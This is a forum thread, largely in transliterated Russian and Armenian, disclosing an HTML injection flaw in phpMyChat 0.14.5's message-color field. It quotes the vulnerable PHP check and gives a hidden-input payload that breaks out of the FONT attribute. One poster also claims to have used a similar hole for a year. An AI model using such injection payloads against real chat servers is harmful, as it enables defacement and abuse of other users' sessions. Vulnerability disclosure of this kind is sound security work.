Security Hole in phpMyChat 0.14.5

[VX]

Ok, Tak kak v armenii pocti na kajdom "servere" shaz etot chat stoit rehsil poiskat' tam dirocki. <img src="smooch-1.gif" border="0"> )

Poka zametil odnu, no dumuu eshe naidutsa <img src="wink-5.gif" border="0">

tak rassmatrivaem:
Posmotrim html source input frame-a ...
<blockquote><font size="1" face="Verdana, Helvetica, sans-serif">code:</font><hr><pre>
<td bgcolor="#000000"> < a href="#" on
click="window.parent.ChangeColor('#000000','C1'); return false;">
<img src="images/selColor.gif" alt="#000000" name="C1" border="0" width="2" height="20" /></a></td>
</pre><hr></blockquote>

ne vdavayas' v podrobnosti skaju s funciya ChangeColor(ColorVal,ColorRank)
menyaet peremmenuu C v inpute , i sottvetstenno php poje predstavlyet eto peremennu kak $C,

Pishem cto nibud' v inpute i posilaem v chat:
nash message pechataetsa v chate sledushim obrazom
<blockquote><font size="1" face="Verdana, Helvetica, sans-serif">code:</font><hr><pre>
<P CLASS="msg">
<SPAN CLASS="time">00:32:04</SPAN> <B>[
<A HREF="#" on Click="window.parent.userClick('as',true); return false" CLASS="sender">as</A>]<BDO dir="LTR"></BDO></B> <FONT COLOR="#000000">Hi There</FONT></P>
</pre><hr></blockquote>
aha, #000000 eto nash cvetik-semicvetik :

teper' rassmotrim opyat' taki iz inputa action : ACTION="handle_inputH.php3"
otkrivaem handle_inputH.php3 i.. vualya
na storockaz 208-215 napisaano
<blockquote><font size="1" face="Verdana, Helvetica, sans-serif">code:</font><hr><pre>
if (isset($C) and $C != "")
{
// Red colors are reserved to the admin or a moderator for the current room

if ((ereg('#(FF0000|fc403f|fc4b34|fa582a|f66421|f2711 9|ec7e11|ec117f|f21971|f62164|fa2a58|fc344b)', $C))
&& !($status == "a" || $status == "m"))

$C = "#000000";
$M = "<FONT COLOR=\"".$C."\">".$M."</FONT>";
};

</pre><hr></blockquote>

vot tot malen'ki if eto i est' vsya proverka cveta (navernoe avtori chata ne znali cto chat popodet v Aremeniu <img src="smooch-1.gif" border="0">
$M eto uje sformirovavshisya message <img src="smooch-1.gif" border="0"> , kotory budet pokazen na ekrane <img src="smooch-1.gif" border="0">
vse BUG naiden

posle etogo berem nash input , menyaem v nem koe cto (esli ya skaju cto konkretno eto uje budet ne chesno), ctob on mog post delat' message nezavisimo ot frameseta , i dobalyaem v color peremnuu cto nibud' simpaticnoe tipa:

<blockquote><font size="1" face="Verdana, Helvetica, sans-serif">code:</font><hr><pre>
<INPUT TYPE="hidden" NAME="C" VALUE="#2164f6">
<INPUT TYPE="hidden" NAME="C" VALUE='#2164f6"><FONT SIZE=+3>'>
</pre><hr></blockquote>

..Solution:: vse lish odin malusin'ki regexp <img src="smooch-1.gif" border="0">

I'm waiting for Youre replyes

[Mono]

Lyudi ne lomayte igrushki rebyatishek. <img src="sad-2.gif" border="0">

[aramx]

TO WAIT FOR SOMETHING ARa!!!!Qani angam ASEM>>>
to wait FORRRRRRRRRRRRRRRRRRR
<img src="smooch-1.gif" border="0"> <img src="smooch-1.gif" border="0"> <img src="smooch-1.gif" border="0">

[VX]

Mono jan mi ne Lomaem, mi pokazivaet uyazvimost'

BTW rebyat chuvstvuete cto forum toje gluchit <img src="smooch-1.gif" border="0"> )

[Mono]

VX djan ya shuchu <img src="smooch-1.gif" border="0"> <img src="smooch-1.gif" border="0">

Igrushki nado inogda lomat, chtobi deti povzrasleli <img src="smooch-1.gif" border="0">

Kstati ya tolko shto posmotrel v BugTraq-e, tam nichevo netu pro etu Dirku. Tak chto ti mojesh spokoyno poslat eto v Bugtraq <img src="smooch-1.gif" border="0">

[z0mbie]

:] ta zhe d?rka v ralfchate, posledniy god u menya Inet v osnovnom iz etoy d?rki :]

[Mono]

Kstati ed metodov kareli e Hashed Passworde imanal u urishi anvan tak banner ugharkel. <img src="smooch-1.gif" border="0">

[VX]

haseh parol@ tishtes asumu Mono, Uxaki ed haseh paolov maximum userin logout anes <img src="wink-5.gif" border="0"> ))), kam ia nunic gres, vor@ aydkan el hetakrkir chi
2 Zombie.
hehhe , miolodec, nu lusdhe sotri etot topic, a to nkotorix moix odnakursnikov iz-za etogo v podval KGB otpravili <img src="smooch-1.gif" border="0"> <img src="graemlins/nod.gif" border="0" alt="[Agree]" />

[z0mbie]

menak uxarkel@ chi, karelia privatner@ kardal }:]

[VX]

<blockquote><font size="1" face="Verdana, Helvetica, sans-serif">quote:</font><hr>Originally posted by z0mbie:
menak uxarkel@ chi, karelia privatner@ kardal }:]<hr></blockquote>
figney ne stradau

[Mono]

Zombie kartzum em erexeki hamar sa hetakrkir klini

http://freenet.am/~zombie/ii.html

Bayc Zombie du tip es <img src="smooch-1.gif" border="0"> ~!!!


Mta vor Javascripte kardam, aytnegh myayn Chinaren er gratz <img src="sad-2.gif" border="0">

[z0mbie]

<blockquote><font size="1" face="Verdana, Helvetica, sans-serif">quote:</font><hr>Originally posted by VX:

figney ne stradau<hr></blockquote>

a prichem tut fignya ? t? zhe sam skazal- "mi pokazivaet uyazvimost'" :]